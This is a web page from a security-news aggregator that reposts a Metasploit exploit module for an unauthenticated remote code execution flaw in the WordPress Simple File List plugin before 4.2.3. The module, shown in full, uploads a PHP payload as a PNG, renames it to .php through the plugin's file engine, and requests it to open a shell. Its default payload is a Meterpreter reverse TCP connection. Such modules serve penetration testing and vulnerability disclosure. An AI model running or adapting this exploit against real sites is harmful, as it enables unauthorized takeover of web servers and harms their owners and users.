HackDig : Dig high-quality web security articles for hackers

WordPress Simple File List Unauthenticated Remote Code Execution

2020-11-25 21:57
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = GoodRanking  include Msf::Exploit::Remote::HTTP::Wordpress  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::FileDropper  def initialize(info = {})    super(      update_info(        info,        'Name' => 'WordPress Simple File List Unauthenticated Remote Code Execution',        'Description' => %q{          Simple File List (simple-file-list) plugin before 4.2.3 for WordPress allows remote unauthenticated attackers          to upload files within a controlled list of extensions.  However, the rename function does not conform to          the file extension restrictions, thus allowing arbitrary PHP code to be uploaded first as a png then renamed          to php and executed.        },        'License' => MSF_LICENSE,        'Author' =>          [            'coiffeur', # initial discovery and PoC            'h00die', # msf module          ],        'References' =>          [            [ 'URL', 'https://wpscan.com/vulnerability/10192' ],            [ 'URL', 'https://www.cybersecurity-help.cz/vdb/SB2020042711' ],            [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2286920/simple-file-list' ],            [ 'EDB', '48349' ]          ],        'Platform' => [ 'php' ],        'Privileged' => false,        'Arch' => ARCH_PHP,        'Targets' =>          [            [              'Default',              {                'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }              }            ]          ],        'DisclosureDate' => '2020-04-27',        'DefaultTarget' => 0,        'Notes' => {          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],          'Stability' => [ CRASH_SAFE ],          'Reliability' => [ REPEATABLE_SESSION ]        }      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'Base path to WordPress installation', '/']),      ]    )  end  def dir_path    '/wp-content/uploads/simple-file-list/'  end  def upload_path    '/wp-content/plugins/simple-file-list/ee-upload-engine.php'  end  def move_path    '/wp-content/plugins/simple-file-list/ee-file-engine.php'  end  def upload(filename)    print_status('Attempting to upload the PHP payload as a PNG file')    now = Date.today.to_time.to_i.to_s    data = Rex::MIME::Message.new    data.add_part('1', nil, nil, 'form-data; name="eeSFL_ID"')    data.add_part(dir_path, nil, nil, 'form-data; name="eeSFL_FileUploadDir"')    data.add_part(now, nil, nil, 'form-data; name="eeSFL_Timestamp"')    data.add_part(Digest::MD5.hexdigest("unique_salt#{now}"), nil, nil, 'form-data; name="eeSFL_Token"')    data.add_part("#{payload.encoded}n", 'image/png', nil, "form-data; name="file"; filename="#{filename}.png"")    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, upload_path),      'method' => 'POST',      'ctype' => "multipart/form-data; boundary=#{data.bound}",      'data' => data.to_s    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200    # the server will respond with a 200, but if the timestamp and token dont match it wont give back SUCCESS as it failed    fail_with(Failure::UnexpectedReply, "#{peer} - File failed to upload") unless res.body.include?('SUCCESS')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, dir_path, "#{filename}.png"),      'method' => 'GET'    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res    # 404 could be AV got it or something similar    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}.  File was uploaded successfully, but could not be found.") if res.code == 404    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200    print_good('PNG payload successfully uploaded')  end  def rename(filename)    print_status("Attempting to rename #{filename}.png to #{filename}.php")    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, move_path),      'method' => 'POST',      'vars_post' => {        'eeSFL_ID' => 1,        'eeFileOld' => "#{filename}.png",        'eeListFolder' => '/',        'eeFileAction' => "Rename|#{filename}.php"      }    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect") unless res    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") unless res.code == 200    print_good("Successfully renamed #{filename}.png to #{filename}.php")  end  def check    return CheckCode::Unknown unless wordpress_and_online?    # check the plugin version from readme    check_plugin_version_from_readme('simple-file-list', '4.2.3', '1.0.1')  end  def exploit    # filename of the file to be uploaded/created    filename = Rex::Text.rand_text_alphanumeric(8)    register_file_for_cleanup("#{filename}.php")    upload(filename)    rename(filename)    print_status('Triggering shell')    send_request_cgi(      'uri' => normalize_uri(target_uri.path, dir_path, "#{filename}.php"),      'method' => 'GET'    )  endend


Source: 7020110202-BLW/eussi/moc.ytirucesxc

Read:217 | Comments:0 | Tags: wordpress

“WordPress Simple File List Unauthenticated Remote Code Execution”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Tools

Tag Cloud